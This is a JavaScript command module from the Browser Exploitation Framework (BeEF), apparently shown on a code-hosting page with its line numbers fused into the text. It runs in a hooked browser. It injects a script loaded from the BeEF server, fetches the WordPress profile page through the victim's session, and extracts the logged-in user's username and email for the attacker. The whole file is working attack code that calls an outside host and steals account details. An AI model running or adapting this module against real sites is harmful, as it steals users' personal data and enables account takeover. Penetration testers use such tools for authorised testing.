Path: blob/master/modules/misc/wordpress/current_user_info/command.js
1154 views
/*1Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com2See the file 'doc/COPYING' for copying permission34Author @erwan_lr (WPScanTeam) - https://wpscan.org/5*/678beef.execute(function() {9beef_command_url = '<%= @command_url %>';10beef_command_id = <%= @command_id %>;1112// Adds wp.js to the DOM so we can use some functions here13if (typeof get_nonce !== 'function') {14var wp_script = document.createElement('script');1516wp_script.setAttribute('type', 'text/javascript');17wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');18var theparent = document.getElementsByTagName('head')[0];19theparent.insertBefore(wp_script, theparent.firstChild);20}2122var user_profile_path = '<%= @wp_path %>wp-admin/profile.php'2324function process_profile_page(xhr) {25if (xhr.status == 200) {26username = xhr.responseXML.getElementById('user_login').getAttribute('value');27email = xhr.responseXML.getElementById('email').getAttribute('value');2829log('Username: ' + username + ', Email: ' + email, 'success');30} else {31log('GET ' + user_profile_path + ' - Status ' + xhr.status, 'error');32}33}3435// Timeout needed for the wp.js to be loaded first36setTimeout(37function() { get(user_profile_path, function(response) { process_profile_page(response) }) },3830039);4041});42434445